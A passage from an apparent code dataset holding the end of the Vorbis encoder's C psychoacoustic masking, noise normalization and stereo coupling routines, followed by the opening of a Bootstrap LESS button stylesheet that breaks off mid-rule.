}\r\n}\r\n\r\nstatic void seed_loop(vorbis_look_psy *p,\r\n const float ***curves,\r\n const float *f,\r\n const float *flr,\r\n float *seed,\r\n float specmax){\r\n vorbis_info_psy *vi=p->vi;\r\n long n=p->n,i;\r\n float dBoffset=vi->max_curve_dB-specmax;\r\n\r\n /* prime the working vector with peak values */\r\n\r\n for(i=0;i<n;i++){\r\n float max=f[i];\r\n long oc=p->octave[i];\r\n while(i+1<n && p->octave[i+1]==oc){\r\n i++;\r\n if(f[i]>max)max=f[i];\r\n }\r\n\r\n if(max+6.f>flr[i]){\r\n oc=oc>>p->shiftoc;\r\n\r\n if(oc>=P_BANDS)oc=P_BANDS-1;\r\n if(oc<0)oc=0;\r\n\r\n seed_curve(seed,\r\n curves[oc],\r\n max,\r\n p->octave[i]-p->firstoc,\r\n p->total_octave_lines,\r\n p->eighth_octave_lines,\r\n dBoffset);\r\n }\r\n }\r\n}\r\n\r\nstatic void seed_chase(float *seeds, int linesper, long n){\r\n long *posstack=(long*)alloca(n*sizeof(*posstack));\r\n float *ampstack=(float*)alloca(n*sizeof(*ampstack));\r\n long stack=0;\r\n long pos=0;\r\n long i;\r\n\r\n for(i=0;i<n;i++){\r\n if(stack<2){\r\n posstack[stack]=i;\r\n ampstack[stack++]=seeds[i];\r\n }else{\r\n while(1){\r\n if(seeds[i]<ampstack[stack-1]){\r\n posstack[stack]=i;\r\n ampstack[stack++]=seeds[i];\r\n break;\r\n }else{\r\n if(i<posstack[stack-1]+linesper){\r\n if(stack>1 && ampstack[stack-1]<=ampstack[stack-2] &&\r\n i<posstack[stack-2]+linesper){\r\n /* we completely overlap, making stack-1 irrelevant. pop it */\r\n stack--;\r\n continue;\r\n }\r\n }\r\n posstack[stack]=i;\r\n ampstack[stack++]=seeds[i];\r\n break;\r\n\r\n }\r\n }\r\n }\r\n }\r\n\r\n /* the stack now contains only the positions that are relevant. Scan\r\n 'em straight through */\r\n\r\n for(i=0;i<stack;i++){\r\n long endpos;\r\n if(i<stack-1 && ampstack[i+1]>ampstack[i]){\r\n endpos=posstack[i+1];\r\n }else{\r\n endpos=posstack[i]+linesper+1; /* +1 is important, else bin 0 is\r\n discarded in short frames */\r\n }\r\n if(endpos>n)endpos=n;\r\n for(;pos<endpos;pos++)\r\n seeds[pos]=ampstack[i];\r\n }\r\n\r\n /* there. Linear time. I now remember this was on a problem set I\r\n had in Grad Skool... I didn't solve it at the time ;-) */\r\n\r\n}\r\n\r\n/* bleaugh, this is more complicated than it needs to be */\r\n#include<stdio.h>\r\nstatic void max_seeds(vorbis_look_psy *p,\r\n float *seed,\r\n float *flr){\r\n long n=p->total_octave_lines;\r\n int linesper=p->eighth_octave_lines;\r\n long linpos=0;\r\n long pos;\r\n\r\n seed_chase(seed,linesper,n); /* for masking */\r\n\r\n pos=p->octave[0]-p->firstoc-(linesper>>1);\r\n\r\n while(linpos+1<p->n){\r\n float minV=seed[pos];\r\n long end=((p->octave[linpos]+p->octave[linpos+1])>>1)-p->firstoc;\r\n if(minV>p->vi->tone_abs_limit)minV=p->vi->tone_abs_limit;\r\n while(pos+1<=end){\r\n pos++;\r\n if((seed[pos]>NEGINF && seed[pos]<minV) || minV==NEGINF)\r\n minV=seed[pos];\r\n }\r\n\r\n end=pos+p->firstoc;\r\n for(;linpos<p->n && p->octave[linpos]<=end;linpos++)\r\n if(flr[linpos]<minV)flr[linpos]=minV;\r\n }\r\n\r\n {\r\n float minV=seed[p->total_octave_lines-1];\r\n for(;linpos<p->n;linpos++)\r\n if(flr[linpos]<minV)flr[linpos]=minV;\r\n }\r\n\r\n}\r\n\r\nstatic void bark_noise_hybridmp(int n,const long *b,\r\n const float *f,\r\n float *noise,\r\n const float offset,\r\n const int fixed){\r\n\r\n float *N=(float*) alloca(n*sizeof(*N));\r\n float *X=(float*) alloca(n*sizeof(*N));\r\n float *XX=(float*) alloca(n*sizeof(*N));\r\n float *Y=(float*) alloca(n*sizeof(*N));\r\n float *XY=(float*) alloca(n*sizeof(*N));\r\n\r\n float tN, tX, tXX, tY, tXY;\r\n int i;\r\n\r\n int lo, hi;\r\n float R=0.f;\r\n float A=0.f;\r\n float B=0.f;\r\n float D=1.f;\r\n float w, x, y;\r\n\r\n tN = tX = tXX = tY = tXY = 0.f;\r\n\r\n y = f[0] + offset;\r\n if (y < 1.f) y = 1.f;\r\n\r\n w = y * y * .5;\r\n\r\n tN += w;\r\n tX += w;\r\n tY += w * y;\r\n\r\n N[0] = tN;\r\n X[0] = tX;\r\n XX[0] = tXX;\r\n Y[0] = tY;\r\n XY[0] = tXY;\r\n\r\n for (i = 1, x = 1.f; i < n; i++, x += 1.f) {\r\n\r\n y = f[i] + offset;\r\n if (y < 1.f) y = 1.f;\r\n\r\n w = y * y;\r\n\r\n tN += w;\r\n tX += w * x;\r\n tXX += w * x * x;\r\n tY += w * y;\r\n tXY += w * x * y;\r\n\r\n N[i] = tN;\r\n X[i] = tX;\r\n XX[i] = tXX;\r\n Y[i] = tY;\r\n XY[i] = tXY;\r\n }\r\n\r\n for (i = 0, x = 0.f;; i++, x += 1.f) {\r\n\r\n lo = b[i] >> 16;\r\n if( lo>=0 ) break;\r\n hi = b[i] & 0xffff;\r\n\r\n tN = N[hi] + N[-lo];\r\n tX = X[hi] - X[-lo];\r\n tXX = XX[hi] + XX[-lo];\r\n tY = Y[hi] + Y[-lo];\r\n tXY = XY[hi] - XY[-lo];\r\n\r\n A = tY * tXX - tX * tXY;\r\n B = tN * tXY - tX * tY;\r\n D = tN * tXX - tX * tX;\r\n R = (A + x * B) / D;\r\n if (R < 0.f)\r\n R = 0.f;\r\n\r\n noise[i] = R - offset;\r\n }\r\n\r\n for ( ;; i++, x += 1.f) {\r\n\r\n lo = b[i] >> 16;\r\n hi = b[i] & 0xffff;\r\n if(hi>=n)break;\r\n\r\n tN = N[hi] - N[lo];\r\n tX = X[hi] - X[lo];\r\n tXX = XX[hi] - XX[lo];\r\n tY = Y[hi] - Y[lo];\r\n tXY = XY[hi] - XY[lo];\r\n\r\n A = tY * tXX - tX * tXY;\r\n B = tN * tXY - tX * tY;\r\n D = tN * tXX - tX * tX;\r\n R = (A + x * B) / D;\r\n if (R < 0.f) R = 0.f;\r\n\r\n noise[i] = R - offset;\r\n }\r\n for ( ; i < n; i++, x += 1.f) {\r\n\r\n R = (A + x * B) / D;\r\n if (R < 0.f) R = 0.f;\r\n\r\n noise[i] = R - offset;\r\n }\r\n\r\n if (fixed <= 0) return;\r\n\r\n for (i = 0, x = 0.f;; i++, x += 1.f) {\r\n hi = i + fixed / 2;\r\n lo = hi - fixed;\r\n if(lo>=0)break;\r\n\r\n tN = N[hi] + N[-lo];\r\n tX = X[hi] - X[-lo];\r\n tXX = XX[hi] + XX[-lo];\r\n tY = Y[hi] + Y[-lo];\r\n tXY = XY[hi] - XY[-lo];\r\n\r\n\r\n A = tY * tXX - tX * tXY;\r\n B = tN * tXY - tX * tY;\r\n D = tN * tXX - tX * tX;\r\n R = (A + x * B) / D;\r\n\r\n if (R - offset < noise[i]) noise[i] = R - offset;\r\n }\r\n for ( ;; i++, x += 1.f) {\r\n\r\n hi = i + fixed / 2;\r\n lo = hi - fixed;\r\n if(hi>=n)break;\r\n\r\n tN = N[hi] - N[lo];\r\n tX = X[hi] - X[lo];\r\n tXX = XX[hi] - XX[lo];\r\n tY = Y[hi] - Y[lo];\r\n tXY = XY[hi] - XY[lo];\r\n\r\n A = tY * tXX - tX * tXY;\r\n B = tN * tXY - tX * tY;\r\n D = tN * tXX - tX * tX;\r\n R = (A + x * B) / D;\r\n\r\n if (R - offset < noise[i]) noise[i] = R - offset;\r\n }\r\n for ( ; i < n; i++, x += 1.f) {\r\n R = (A + x * B) / D;\r\n if (R - offset < noise[i]) noise[i] = R - offset;\r\n }\r\n}\r\n\r\nvoid _vp_noisemask(vorbis_look_psy *p,\r\n float *logmdct,\r\n float *logmask){\r\n\r\n int i,n=p->n;\r\n float *work=(float*) alloca(n*sizeof(*work));\r\n\r\n bark_noise_hybridmp(n,p->bark,logmdct,logmask,\r\n 140.,-1);\r\n\r\n for(i=0;i<n;i++)work[i]=logmdct[i]-logmask[i];\r\n\r\n bark_noise_hybridmp(n,p->bark,work,logmask,0.,\r\n p->vi->noisewindowfixed);\r\n\r\n for(i=0;i<n;i++)work[i]=logmdct[i]-work[i];\r\n\r\n#if 0\r\n {\r\n static int seq=0;\r\n\r\n float work2[n];\r\n for(i=0;i<n;i++){\r\n work2[i]=logmask[i]+work[i];\r\n }\r\n\r\n if(seq&1)\r\n _analysis_output(\"median2R\",seq/2,work,n,1,0,0);\r\n else\r\n _analysis_output(\"median2L\",seq/2,work,n,1,0,0);\r\n\r\n if(seq&1)\r\n _analysis_output(\"envelope2R\",seq/2,work2,n,1,0,0);\r\n else\r\n _analysis_output(\"envelope2L\",seq/2,work2,n,1,0,0);\r\n seq++;\r\n }\r\n#endif\r\n\r\n for(i=0;i<n;i++){\r\n int dB=logmask[i]+.5;\r\n if(dB>=NOISE_COMPAND_LEVELS)dB=NOISE_COMPAND_LEVELS-1;\r\n if(dB<0)dB=0;\r\n logmask[i]= work[i]+p->vi->noisecompand[dB];\r\n }\r\n\r\n}\r\n\r\nvoid _vp_tonemask(vorbis_look_psy *p,\r\n float *logfft,\r\n float *logmask,\r\n float global_specmax,\r\n float local_specmax){\r\n\r\n int i,n=p->n;\r\n\r\n float *seed=(float*) alloca(sizeof(*seed)*p->total_octave_lines);\r\n float att=local_specmax+p->vi->ath_adjatt;\r\n for(i=0;i<p->total_octave_lines;i++)seed[i]=NEGINF;\r\n\r\n /* set the ATH (floating below localmax, not global max by a\r\n specified att) */\r\n if(att<p->vi->ath_maxatt)att=p->vi->ath_maxatt;\r\n\r\n for(i=0;i<n;i++)\r\n logmask[i]=p->ath[i]+att;\r\n\r\n /* tone masking */\r\n seed_loop(p,(const float ***)p->tonecurves,logfft,logmask,seed,global_specmax);\r\n max_seeds(p,seed,logmask);\r\n\r\n}\r\n\r\nvoid _vp_offset_and_mix(vorbis_look_psy *p,\r\n float *noise,\r\n float *tone,\r\n int offset_select,\r\n float *logmask,\r\n float *mdct,\r\n float *logmdct){\r\n int i,n=p->n;\r\n float de, coeffi, cx;/* AoTuV */\r\n float toneatt=p->vi->tone_masteratt[offset_select];\r\n\r\n cx = p->m_val;\r\n\r\n for(i=0;i<n;i++){\r\n float val= noise[i]+p->noiseoffset[offset_select][i];\r\n if(val>p->vi->noisemaxsupp)val=p->vi->noisemaxsupp;\r\n logmask[i]=max(val,tone[i]+toneatt);\r\n\r\n\r\n /* AoTuV */\r\n /** @ M1 **\r\n The following codes improve a noise problem.\r\n A fundamental idea uses the value of masking and carries out\r\n the relative compensation of the MDCT.\r\n However, this code is not perfect and all noise problems cannot be solved.\r\n by Aoyumi @ 2004/04/18\r\n */\r\n\r\n if(offset_select == 1) {\r\n coeffi = -17.2; /* coeffi is a -17.2dB threshold */\r\n val = val - logmdct[i]; /* val == mdct line value relative to floor in dB */\r\n\r\n if(val > coeffi){\r\n /* mdct value is > -17.2 dB below floor */\r\n\r\n de = 1.0-((val-coeffi)*0.005*cx);\r\n /* pro-rated attenuation:\r\n -0.00 dB boost if mdct value is -17.2dB (relative to floor)\r\n -0.77 dB boost if mdct value is 0dB (relative to floor)\r\n -1.64 dB boost if mdct value is +17.2dB (relative to floor)\r\n etc... */\r\n\r\n if(de < 0) de = 0.0001;\r\n }else\r\n /* mdct value is <= -17.2 dB below floor */\r\n\r\n de = 1.0-((val-coeffi)*0.0003*cx);\r\n /* pro-rated attenuation:\r\n +0.00 dB atten if mdct value is -17.2dB (relative to floor)\r\n +0.45 dB atten if mdct value is -34.4dB (relative to floor)\r\n etc... */\r\n\r\n mdct[i] *= de;\r\n\r\n }\r\n }\r\n}\r\n\r\nfloat _vp_ampmax_decay(float amp,vorbis_dsp_state *vd){\r\n vorbis_info *vi=vd->vi;\r\n codec_setup_info *ci=(codec_setup_info*)vi->codec_setup;\r\n vorbis_info_psy_global *gi=&ci->psy_g_param;\r\n\r\n int n=ci->blocksizes[vd->W]/2;\r\n float secs=(float)n/vi->rate;\r\n\r\n amp+=secs*gi->ampmax_att_per_sec;\r\n if(amp<-9999)amp=-9999;\r\n return(amp);\r\n}\r\n\r\n#if 0\r\nstatic float FLOOR1_fromdB_LOOKUP[256]={\r\n 1.0649863e-07F, 1.1341951e-07F, 1.2079015e-07F, 1.2863978e-07F,\r\n 1.3699951e-07F, 1.4590251e-07F, 1.5538408e-07F, 1.6548181e-07F,\r\n 1.7623575e-07F, 1.8768855e-07F, 1.9988561e-07F, 2.128753e-07F,\r\n 2.2670913e-07F, 2.4144197e-07F, 2.5713223e-07F, 2.7384213e-07F,\r\n 2.9163793e-07F, 3.1059021e-07F, 3.3077411e-07F, 3.5226968e-07F,\r\n 3.7516214e-07F, 3.9954229e-07F, 4.2550680e-07F, 4.5315863e-07F,\r\n 4.8260743e-07F, 5.1396998e-07F, 5.4737065e-07F, 5.8294187e-07F,\r\n 6.2082472e-07F, 6.6116941e-07F, 7.0413592e-07F, 7.4989464e-07F,\r\n 7.9862701e-07F, 8.5052630e-07F, 9.0579828e-07F, 9.6466216e-07F,\r\n 1.0273513e-06F, 1.0941144e-06F, 1.1652161e-06F, 1.2409384e-06F,\r\n 1.3215816e-06F, 1.4074654e-06F, 1.4989305e-06F, 1.5963394e-06F,\r\n 1.7000785e-06F, 1.8105592e-06F, 1.9282195e-06F, 2.0535261e-06F,\r\n 2.1869758e-06F, 2.3290978e-06F, 2.4804557e-06F, 2.6416497e-06F,\r\n 2.8133190e-06F, 2.9961443e-06F, 3.1908506e-06F, 3.3982101e-06F,\r\n 3.6190449e-06F, 3.8542308e-06F, 4.1047004e-06F, 4.3714470e-06F,\r\n 4.6555282e-06F, 4.9580707e-06F, 5.2802740e-06F, 5.6234160e-06F,\r\n 5.9888572e-06F, 6.3780469e-06F, 6.7925283e-06F, 7.2339451e-06F,\r\n 7.7040476e-06F, 8.2047000e-06F, 8.7378876e-06F, 9.3057248e-06F,\r\n 9.9104632e-06F, 1.0554501e-05F, 1.1240392e-05F, 1.1970856e-05F,\r\n 1.2748789e-05F, 1.3577278e-05F, 1.4459606e-05F, 1.5399272e-05F,\r\n 1.6400004e-05F, 1.7465768e-05F, 1.8600792e-05F, 1.9809576e-05F,\r\n 2.1096914e-05F, 2.2467911e-05F, 2.3928002e-05F, 2.5482978e-05F,\r\n 2.7139006e-05F, 2.8902651e-05F, 3.0780908e-05F, 3.2781225e-05F,\r\n 3.4911534e-05F, 3.7180282e-05F, 3.9596466e-05F, 4.2169667e-05F,\r\n 4.4910090e-05F, 4.7828601e-05F, 5.0936773e-05F, 5.4246931e-05F,\r\n 5.7772202e-05F, 6.1526565e-05F, 6.5524908e-05F, 6.9783085e-05F,\r\n 7.4317983e-05F, 7.9147585e-05F, 8.4291040e-05F, 8.9768747e-05F,\r\n 9.5602426e-05F, 0.00010181521F, 0.00010843174F, 0.00011547824F,\r\n 0.00012298267F, 0.00013097477F, 0.00013948625F, 0.00014855085F,\r\n 0.00015820453F, 0.00016848555F, 0.00017943469F, 0.00019109536F,\r\n 0.00020351382F, 0.00021673929F, 0.00023082423F, 0.00024582449F,\r\n 0.00026179955F, 0.00027881276F, 0.00029693158F, 0.00031622787F,\r\n 0.00033677814F, 0.00035866388F, 0.00038197188F, 0.00040679456F,\r\n 0.00043323036F, 0.00046138411F, 0.00049136745F, 0.00052329927F,\r\n 0.00055730621F, 0.00059352311F, 0.00063209358F, 0.00067317058F,\r\n 0.00071691700F, 0.00076350630F, 0.00081312324F, 0.00086596457F,\r\n 0.00092223983F, 0.00098217216F, 0.0010459992F, 0.0011139742F,\r\n 0.0011863665F, 0.0012634633F, 0.0013455702F, 0.0014330129F,\r\n 0.0015261382F, 0.0016253153F, 0.0017309374F, 0.0018434235F,\r\n 0.0019632195F, 0.0020908006F, 0.0022266726F, 0.0023713743F,\r\n 0.0025254795F, 0.0026895994F, 0.0028643847F, 0.0030505286F,\r\n 0.0032487691F, 0.0034598925F, 0.0036847358F, 0.0039241906F,\r\n 0.0041792066F, 0.0044507950F, 0.0047400328F, 0.0050480668F,\r\n 0.0053761186F, 0.0057254891F, 0.0060975636F, 0.0064938176F,\r\n 0.0069158225F, 0.0073652516F, 0.0078438871F, 0.0083536271F,\r\n 0.0088964928F, 0.009474637F, 0.010090352F, 0.010746080F,\r\n 0.011444421F, 0.012188144F, 0.012980198F, 0.013823725F,\r\n 0.014722068F, 0.015678791F, 0.016697687F, 0.017782797F,\r\n 0.018938423F, 0.020169149F, 0.021479854F, 0.022875735F,\r\n 0.024362330F, 0.025945531F, 0.027631618F, 0.029427276F,\r\n 0.031339626F, 0.033376252F, 0.035545228F, 0.037855157F,\r\n 0.040315199F, 0.042935108F, 0.045725273F, 0.048696758F,\r\n 0.051861348F, 0.055231591F, 0.058820850F, 0.062643361F,\r\n 0.066714279F, 0.071049749F, 0.075666962F, 0.080584227F,\r\n 0.085821044F, 0.091398179F, 0.097337747F, 0.10366330F,\r\n 0.11039993F, 0.11757434F, 0.12521498F, 0.13335215F,\r\n 0.14201813F, 0.15124727F, 0.16107617F, 0.17154380F,\r\n 0.18269168F, 0.19456402F, 0.20720788F, 0.22067342F,\r\n 0.23501402F, 0.25028656F, 0.26655159F, 0.28387361F,\r\n 0.30232132F, 0.32196786F, 0.34289114F, 0.36517414F,\r\n 0.38890521F, 0.41417847F, 0.44109412F, 0.46975890F,\r\n 0.50028648F, 0.53279791F, 0.56742212F, 0.60429640F,\r\n 0.64356699F, 0.68538959F, 0.72993007F, 0.77736504F,\r\n 0.82788260F, 0.88168307F, 0.9389798F, 1.F,\r\n};\r\n#endif\r\n\r\n/* this is for per-channel noise normalization */\r\nstatic int apsort(const void *a, const void *b){\r\n float f1=**(float**)a;\r\n float f2=**(float**)b;\r\n return (f1<f2)-(f1>f2);\r\n}\r\n\r\nstatic void flag_lossless(int limit, float prepoint, float postpoint, float *mdct,\r\n float *floor, int *flag, int i, int jn){\r\n int j;\r\n for(j=0;j<jn;j++){\r\n float point = j>=limit-i ? postpoint : prepoint;\r\n float r = fabs(mdct[j])/floor[j];\r\n if(r<point)\r\n flag[j]=0;\r\n else\r\n flag[j]=1;\r\n }\r\n}\r\n\r\n/* Overload/Side effect: On input, the *q vector holds either the\r\n quantized energy (for elements with the flag set) or the absolute\r\n values of the *r vector (for elements with flag unset). On output,\r\n *q holds the quantized energy for all elements */\r\nstatic float noise_normalize(vorbis_look_psy *p, int limit, float *r, float *q, float *f, int *flags, float acc, int i, int n, int *out){\r\n\r\n vorbis_info_psy *vi=p->vi;\r\n float **sort = (float**)alloca(n*sizeof(*sort));\r\n int j,count=0;\r\n int start = (vi->normal_p ? vi->normal_start-i : n);\r\n if(start>n)start=n;\r\n\r\n /* force classic behavior where only energy in the current band is considered */\r\n acc=0.f;\r\n\r\n /* still responsible for populating *out where noise norm not in\r\n effect. There's no need to [re]populate *q in these areas */\r\n for(j=0;j<start;j++){\r\n if(!flags || !flags[j]){ /* lossless coupling already quantized.\r\n Don't touch; requantizing based on\r\n energy would be incorrect. */\r\n float ve = q[j]/f[j];\r\n if(r[j]<0)\r\n out[j] = -rint(sqrt(ve));\r\n else\r\n out[j] = rint(sqrt(ve));\r\n }\r\n }\r\n\r\n /* sort magnitudes for noise norm portion of partition */\r\n for(;j<n;j++){\r\n if(!flags || !flags[j]){ /* can't noise norm elements that have\r\n already been loslessly coupled; we can\r\n only account for their energy error */\r\n float ve = q[j]/f[j];\r\n /* Despite all the new, more capable coupling code, for now we\r\n implement noise norm as it has been up to this point. Only\r\n consider promotions to unit magnitude from 0. In addition\r\n the only energy error counted is quantizations to zero. */\r\n /* also-- the original point code only applied noise norm at > pointlimit */\r\n if(ve<.25f && (!flags || j>=limit-i)){\r\n acc += ve;\r\n sort[count++]=q+j; /* q is fabs(r) for unflagged element */\r\n }else{\r\n /* For now: no acc adjustment for nonzero quantization. populate *out and q as this value is final. */\r\n if(r[j]<0)\r\n out[j] = -rint(sqrt(ve));\r\n else\r\n out[j] = rint(sqrt(ve));\r\n q[j] = out[j]*out[j]*f[j];\r\n }\r\n }/* else{\r\n again, no energy adjustment for error in nonzero quant-- for now\r\n }*/\r\n }\r\n\r\n if(count){\r\n /* noise norm to do */\r\n qsort(sort,count,sizeof(*sort),apsort);\r\n for(j=0;j<count;j++){\r\n int k=sort[j]-q;\r\n if(acc>=vi->normal_thresh){\r\n out[k]=unitnorm(r[k]);\r\n acc-=1.f;\r\n q[k]=f[k];\r\n }else{\r\n out[k]=0;\r\n q[k]=0.f;\r\n }\r\n }\r\n }\r\n\r\n return acc;\r\n}\r\n\r\n/* Noise normalization, quantization and coupling are not wholly\r\n seperable processes in depth>1 coupling. */\r\nvoid _vp_couple_quantize_normalize(int blobno,\r\n vorbis_info_psy_global *g,\r\n vorbis_look_psy *p,\r\n vorbis_info_mapping0 *vi,\r\n float **mdct,\r\n int **iwork,\r\n int *nonzero,\r\n int sliding_lowpass,\r\n int ch){\r\n\r\n int i;\r\n int n = p->n;\r\n int partition=(p->vi->normal_p ? p->vi->normal_partition : 16);\r\n int limit = g->coupling_pointlimit[p->vi->blockflag][blobno];\r\n float prepoint=stereo_threshholds[g->coupling_prepointamp[blobno]];\r\n float postpoint=stereo_threshholds[g->coupling_postpointamp[blobno]];\r\n //float de=0.1*p->m_val; /* a blend of the AoTuV M2 and M3 code here and below */\r\n\r\n /* mdct is our raw mdct output, floor not removed. */\r\n /* inout passes in the ifloor, passes back quantized result */\r\n\r\n /* unquantized energy (negative indicates amplitude has negative sign) */\r\n float **raw = (float**)alloca(ch*sizeof(*raw));\r\n\r\n /* dual pupose; quantized energy (if flag set), othersize fabs(raw) */\r\n float **quant = (float**)alloca(ch*sizeof(*quant));\r\n\r\n /* floor energy */\r\n float **floor = (float**)alloca(ch*sizeof(*floor));\r\n\r\n /* flags indicating raw/quantized status of elements in raw vector */\r\n int **flag = (int**)alloca(ch*sizeof(*flag));\r\n\r\n /* non-zero flag working vector */\r\n int *nz = (int*)alloca(ch*sizeof(*nz));\r\n\r\n /* energy surplus/defecit tracking */\r\n float *acc = (float*)alloca((ch+vi->coupling_steps)*sizeof(*acc));\r\n\r\n /* The threshold of a stereo is changed with the size of n */\r\n if(n > 1000)\r\n postpoint=stereo_threshholds_limited[g->coupling_postpointamp[blobno]];\r\n\r\n raw[0] = (float*)alloca(ch*partition*sizeof(**raw));\r\n quant[0] = (float*)alloca(ch*partition*sizeof(**quant));\r\n floor[0] = (float*)alloca(ch*partition*sizeof(**floor));\r\n flag[0] = (int*)alloca(ch*partition*sizeof(**flag));\r\n\r\n for(i=1;i<ch;i++){\r\n raw[i] = &raw[0][partition*i];\r\n quant[i] = &quant[0][partition*i];\r\n floor[i] = &floor[0][partition*i];\r\n flag[i] = &flag[0][partition*i];\r\n }\r\n for(i=0;i<ch+vi->coupling_steps;i++)\r\n acc[i]=0.f;\r\n\r\n for(i=0;i<n;i+=partition){\r\n int k,j,jn = partition > n-i ? n-i : partition;\r\n int step,track = 0;\r\n\r\n memcpy(nz,nonzero,sizeof(*nz)*ch);\r\n\r\n /* prefill */\r\n memset(flag[0],0,ch*partition*sizeof(**flag));\r\n for(k=0;k<ch;k++){\r\n int *iout = &iwork[k][i];\r\n if(nz[k]){\r\n\r\n for(j=0;j<jn;j++)\r\n floor[k][j] = FLOOR1_fromdB_LOOKUP[iout[j]];\r\n\r\n flag_lossless(limit,prepoint,postpoint,&mdct[k][i],floor[k],flag[k],i,jn);\r\n\r\n for(j=0;j<jn;j++){\r\n quant[k][j] = raw[k][j] = mdct[k][i+j]*mdct[k][i+j];\r\n if(mdct[k][i+j]<0.f) raw[k][j]*=-1.f;\r\n floor[k][j]*=floor[k][j];\r\n }\r\n\r\n acc[track]=noise_normalize(p,limit,raw[k],quant[k],floor[k],NULL,acc[track],i,jn,iout);\r\n\r\n }else{\r\n for(j=0;j<jn;j++){\r\n floor[k][j] = 1e-10f;\r\n raw[k][j] = 0.f;\r\n quant[k][j] = 0.f;\r\n flag[k][j] = 0;\r\n iout[j]=0;\r\n }\r\n acc[track]=0.f;\r\n }\r\n track++;\r\n }\r\n\r\n /* coupling */\r\n for(step=0;step<vi->coupling_steps;step++){\r\n int Mi = vi->coupling_mag[step];\r\n int Ai = vi->coupling_ang[step];\r\n int *iM = &iwork[Mi][i];\r\n int *iA = &iwork[Ai][i];\r\n float *reM = raw[Mi];\r\n float *reA = raw[Ai];\r\n float *qeM = quant[Mi];\r\n float *qeA = quant[Ai];\r\n float *floorM = floor[Mi];\r\n float *floorA = floor[Ai];\r\n int *fM = flag[Mi];\r\n int *fA = flag[Ai];\r\n\r\n if(nz[Mi] || nz[Ai]){\r\n nz[Mi] = nz[Ai] = 1;\r\n\r\n for(j=0;j<jn;j++){\r\n\r\n if(j<sliding_lowpass-i){\r\n if(fM[j] || fA[j]){\r\n /* lossless coupling */\r\n\r\n reM[j] = fabs(reM[j])+fabs(reA[j]);\r\n qeM[j] = qeM[j]+qeA[j];\r\n fM[j]=fA[j]=1;\r\n\r\n /* couple iM/iA */\r\n {\r\n int A = iM[j];\r\n int B = iA[j];\r\n\r\n if(abs(A)>abs(B)){\r\n iA[j]=(A>0?A-B:B-A);\r\n }else{\r\n iA[j]=(B>0?A-B:B-A);\r\n iM[j]=B;\r\n }\r\n\r\n /* collapse two equivalent tuples to one */\r\n if(iA[j]>=abs(iM[j])*2){\r\n iA[j]= -iA[j];\r\n iM[j]= -iM[j];\r\n }\r\n\r\n }\r\n\r\n }else{\r\n /* lossy (point) coupling */\r\n if(j<limit-i){\r\n /* dipole */\r\n reM[j] += reA[j];\r\n qeM[j] = fabs(reM[j]);\r\n }else{\r\n /* AoTuV */\r\n /** @ M2 **\r\n The boost problem by the combination of noise normalization and point stereo is eased.\r\n However, this is a temporary patch.\r\n by Aoyumi @ 2004/04/18\r\n */\r\n /*float derate = (1.0 - de*((float)(j-limit+i) / (float)(n-limit)));*/\r\n /* elliptical\r\n if(reM[j]+reA[j]<0){\r\n reM[j] = - (qeM[j] = (fabs(reM[j])+fabs(reA[j]))*derate*derate);\r\n }else{\r\n reM[j] = (qeM[j] = (fabs(reM[j])+fabs(reA[j]))*derate*derate);\r\n }*/\r\n\r\n /* elliptical */\r\n if(reM[j]+reA[j]<0){\r\n reM[j] = - (qeM[j] = fabs(reM[j])+fabs(reA[j]));\r\n }else{\r\n reM[j] = (qeM[j] = fabs(reM[j])+fabs(reA[j]));\r\n }\r\n\r\n\r\n }\r\n reA[j]=qeA[j]=0.f;\r\n fA[j]=1;\r\n iA[j]=0;\r\n }\r\n }\r\n floorM[j]=floorA[j]=floorM[j]+floorA[j];\r\n }\r\n /* normalize the resulting mag vector */\r\n acc[track]=noise_normalize(p,limit,raw[Mi],quant[Mi],floor[Mi],flag[Mi],acc[track],i,jn,iM);\r\n track++;\r\n }\r\n }\r\n }\r\n\r\n for(i=0;i<vi->coupling_steps;i++){\r\n /* make sure coupling a zero and a nonzero channel results in two\r\n nonzero channels. */\r\n if(nonzero[vi->coupling_mag[i]] ||\r\n nonzero[vi->coupling_ang[i]]){\r\n nonzero[vi->coupling_mag[i]]=1;\r\n nonzero[vi->coupling_ang[i]]=1;\r\n }\r\n }\r\n}\r\n"} {"text": "//\n// Buttons\n// --------------------------------------------------\n\n\n// Base styles\n// --------------------------------------------------\n\n.btn {\n display: inline-block;\n margin-bottom: 0; // For input.btn\n font-weight: @btn-font-weight;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n white-space: nowrap;\n .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size-base; @line-height-base; @btn-border-radius-base);\n .user-select(none);\n\n &,\n &:active,\n &.active {\n &:focus,\n &.focus {\n .tab-focus();\n }\n }\n\n &:hover,\n &:focus,\n &.focus {\n color: @btn-default-color;\n text-decoration: none;\n }\n\n &:active,\n &.active {\n outline: 0;\n background-image: none;\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n .opacity(.65);\n .box-shadow(none);\n }\n\n a& {\n &.disabled,\n fieldset[disabled] & {\n pointer-events: none; // Future-proof disabling of clicks on `<a>` elements\n }\n }\n}\n\n\n// Alternate buttons\n// --------------------------------------------------\n\n.btn-default {\n .button-variant(@btn-default-color; @btn-default-bg; @btn-default-border);\n}\n.btn-primary {\n .button-variant(@btn-primary-color; @btn-primary-bg; @btn-primary-border);\n}\n// Success appears as green\n.btn-success {\n .button-variant(@btn-success-color; @btn-success-bg; @btn-success-border);\n}\n// Info appears as blue-green\n.btn-info {\n .button-variant(@btn-info-color; @btn-info-bg; @btn-info-border);\n}\n// Warning appears as orange\n.btn-warning {\n .button-variant(@btn-warning-color; @btn-warning-bg; @btn-warning-border);\n}\n// Danger and error appear as red\n.btn-danger {\n .button-variant(@btn-danger-color; @btn-danger-bg; @btn-danger-border);\n}\n\n\n// Link buttons\n// -------------------------\n\n// Make a button look and behave like a link\n.btn-link {\n color: @link-color;\n font-weight: normal;\n border-radius: 0;\n\n &,\n &:active,\n &.active,\n &[disabled],\n fieldset[disabled] & {\n background-color: transparent;\n .box-shadow(none);\n }\n &,\n &:hover,\n &:focus,\n &:active {\n border-color: transparent;\n }\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n background-color: transparent;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @btn-link-disabled-color;\n text-decoration: 